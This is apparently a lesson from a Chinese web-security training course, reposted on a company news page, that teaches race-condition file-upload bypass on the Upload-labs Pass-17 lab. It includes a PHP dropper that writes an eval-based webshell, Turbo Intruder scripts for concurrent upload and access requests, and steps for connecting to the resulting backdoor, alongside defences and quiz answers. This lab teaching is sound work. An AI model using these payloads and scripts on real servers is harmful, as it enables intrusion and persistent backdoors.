资讯动态

【八个月网安课程】第十一周·周四:条件竞争上传原理与实操

发布时间:2026/10/20 5:03:19 来源:尧图企业网站定制
今天将接触一种更高阶的文件上传绕过技巧——条件竞争。它不依赖后缀名或内容检测的疏漏而是利用服务端“先保存后校验”的时间差在文件被删除或重命名之前的短暂窗口内执行恶意代码。这是一种经典的“时间差”攻击深刻考验对并发请求和服务器处理流程的理解。第十一周·周四条件竞争上传原理与实操 今日学习目标达成效果能解释条件竞争Race Condition漏洞的本质多线程/进程并发操作同一资源时由于时序不当导致的安全缺陷能描述文件上传功能中条件竞争的常见场景服务端先将上传文件临时保存到磁盘随后进行后缀校验和重命名在校验完成前的瞬间文件以原始文件名存在并可被访问能独立设计一个条件竞争攻击使用 Burp Intruder 的 Turbo Intruder 或多线程工具并发发送上传请求和文件访问请求在服务端删除恶意文件之前成功触发执行能在 Upload-labs 条件竞争关卡如 Pass-17中通过并发上传 PHP 文件并同时不断访问该文件最终获得 Webshell能提出防御条件竞争的有效方案先校验后保存、使用原子操作、存储于非 Web 可访问目录、限制并发请求频率等。 一、条件竞争漏洞的本质条件竞争发生在多线程或并发环境下程序的执行结果依赖于不可控的时序。在文件上传场景中开发者通常的做法是接收上传文件保存到临时目录。校验文件后缀名、内容等。如果校验通过将文件移动到正式存储目录如果不通过立即删除该临时文件。时间窗口在第1步保存完成到第3步删除文件之间文件短暂地存在于磁盘上并且如果是 Web 可访问目录就可能被攻击者通过 HTTP 请求直接访问。如果攻击者能在这个极短的时间窗口内访问到该 PHP 文件服务器就会执行其中的代码从而实现绕过。这个窗口通常只有几毫秒到几十毫秒但通过高并发请求攻击者可以极大增加在窗口内命中的概率。一旦命中一次木马就植入了。 二、条件竞争上传的典型利用流程1. 服务端伪代码示例$tmp_name$_FILES[file][tmp_name];$targetuploads/.$_FILES[file][name];move_uploaded_file($tmp_name,$target);// 先移动到目标位置if(!is_image($target)){unlink($target);// 校验失败删除echo不允许的文件;}在这个逻辑中从move_uploaded_file结束到unlink执行之前恶意文件就躺在uploads/目录下可以通过 URL 直接访问。2. 攻击双线程模型线程A上传线程不断上传 PHP 木马文件每次使用相同或不同的文件名。线程B访问线程不断对目标 PHP 文件发起 HTTP 请求尝试在文件被删除前访问到它。一旦线程B的某个请求落在线程A的上传完成之后、删除完成之前shell.php就会被执行。线程B甚至可以在 GET 请求中携带命令参数以便在成功执行时立即写入更持久的 Webshell。 三、利用 Burp Intruder 实现条件竞争手工方式通常有两种手段Intruder 的 Cluster bomb 或 Pitchfork 配合多线程但社区版 Intruder 速度较慢成功率低。Turbo IntruderBurp 扩展高速并发是此类攻击的利器。如果未安装可先在 Extender → BApp Store 中安装。也可使用 Python 脚本或其他并发工具。今天使用 Turbo Intruder 进行演示。✍️ 四、动手实践Upload-labs Pass-17 条件竞争绕过环境Upload-labs 靶场Pass-17 通常为条件竞争关卡“竞争上传”。1. 准备木马文件创建一个 PHP 文件race.php内容?phpfputs(fopen(shell.php,w),?php eval($_POST[pass]);?);?这段代码的作用是当race.php被成功执行时会在同目录下写入一个真正的一句话木马shell.php。这样我们只需要竞争成功一次就能获得持久稳定的 Webshell。2. 配置 Turbo Intruder打开 Burp确保代理正常。在靶场上尝试上传race.php一次并抓取该 POST 请求。此时服务器会返回“上传失败”因为我们知道会校验不通过。将拦截到的上传请求右键 →Extensions→Turbo Intruder→Send to Turbo Intruder。在 Turbo Intruder 编辑器中编写以下脚本Python 代码Turbo Intruder 使用 Python 语法defqueueRequests(target,wordlists):engineRequestEngine(endpointtarget.endpoint,concurrentConnections20,# 20并发连接)# 不断发送上传请求foriinrange(1000):engine.queue(target.req)# 同时不断访问目标 race.php 文件foriinrange(1000):engine.queue(target.baseRequest,gaterace)但上述脚本需要区分两个不同的请求上传请求和访问请求。更精细的做法是构造两个请求模板。方法复制上传请求到 Turbo Intruder 后在编辑器顶部输入框中填入目标主机target.endpoint会自动识别。我们需要两个请求req1为上传请求req2为访问race.php的 GET 请求。可以先在 Repeater 中构造好 GET 请求然后作为另一个字符串放到脚本中。完整脚本示例defqueueRequests(target,wordlists):engineRequestEngine(endpointtarget.endpoint,concurrentConnections30,requestsPerConnection100,pipelineFalse)# 上传请求原请求upload_reqPOST /upload-labs/Pass-17/index.php HTTP/1.1 Host: target.com Content-Type: multipart/form-data; boundary----WebKitFormBoundary... ... ------WebKitFormBoundary...--\r\n# 访问请求fetch_reqGET /upload-labs/upload/race.php HTTP/1.1 Host: target.com Connection: close # 同时发送上传和访问请求engine.queue(upload_req,gaterace)engine.queue(fetch_req,gaterace)# 重复多次foriinrange(500):engine.queue(upload_req,gaterace)engine.queue(fetch_req,gaterace)注意需要将上传请求中的filename改为race.php且文件内容为上述写马代码。点击Attack。Turbo Intruder 会并发发送大量请求。观察 Responses如果某个访问请求返回了状态码 200并且响应体中有shell.php被写入的痕迹实际上race.php执行后不会有明显输出但我们可以通过其他迹象判断。攻击进行一段时间后手动访问http://靶机/upload-labs/upload/shell.php。如果出现空白页面说明木马已写入即攻击成功。使用蚁剑连接该地址密码pass。3. 提高成功率技巧增加并发连接数不宜过高避免打挂服务器。使用更轻量的 payload例如直接?php system(id);?观察输出但不利于持久化。写马逻辑更隐蔽。如果服务器上传后文件名被随机化条件竞争难以利用因为访问线程无法知道精确文件名。此时需要能预测文件名或者利用其他漏洞。 五、课后测试题与解析测试题 1什么是条件竞争漏洞它在文件上传功能中如何被利用参考答案条件竞争漏洞是由于并发程序未正确同步线程而导致的安全缺陷。在文件上传中服务端常常先将文件保存到磁盘然后进行校验如果不合法则删除。从文件保存到校验删除之间存在一个短暂的时间窗口攻击者通过并发不断发送上传请求同时另开线程不断请求访问刚上传的文件就有可能在文件被删除前成功执行其中的脚本代码从而获得服务器控制权。测试题 2请描述使用 Turbo Intruder 实现条件竞争上传攻击的关键步骤。参考答案准备一个 PHP 木马内容为写入持久后门的代码如生成shell.php。在 Burp 中截获上传该文件的 POST 请求发送到 Turbo Intruder。编写 Turbo Intruder 脚本配置高并发引擎定义两个请求一个是上传请求另一个是 GET 访问该上传文件的请求。在脚本中使用相同的gate标签并发发送这两个请求重复数百至上千次。发动攻击等待几秒后访问目标网站检查是否成功写入shell.php。如果写入成功使用蚁剑连接该后门完成利用。✅ 今日学习效果自检清单我能解释条件竞争漏洞产生的原因并说出它与传统上传绕过的区别我理解“并发上传并发访问”的攻击模型我成功使用 Turbo Intruder 在 Upload-labs Pass-17 中实现了条件竞争绕过我知道如何使用木马文件自动写入更稳定的后门我意识到防御条件竞争需要改变文件处理的顺序先校验后移动或限制并发、使用原子操作我明白即使上传功能校验严格只要存在时间窗口仍可能被绕过⚠️ 阶段避坑重点网络环境要求条件竞争极度依赖并发响应速度最好在本地靶场或低延迟网络环境中练习否则成功率会降低。不要过度并发设置过高的并发连接可能使靶场服务器崩溃或无响应应适度调整concurrentConnections测试时观察服务器状态。文件名随机化如果服务端对文件进行了随机重命名则访问线程无法预测文件名条件竞争基本无效。此时需寻找其他漏洞或确保文件名可控。Turbo Intruder 脚本中的换行符构造原始请求字符串时确保每行以\r\n结尾并且文件体中的边界分隔符与 Content-Type 头一致。可直接从 Burp 复制原始请求右键 Copy to file 或使用target.req。不要忽略验证攻击成功并发攻击后必须手动访问 Webshell 确认。若使用“写马”技巧成功一次即可。今天你利用并发打破了文件上传的“原子性”幻想。明天我们将全面转向防御者视角系统总结文件上传漏洞的终极防御方案包括白名单验证、文件重命名、内容检测、权限限制等并将亲手加固你的靶场。请保留你的木马和攻击记录明天用于对比加固前后的安全效果。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑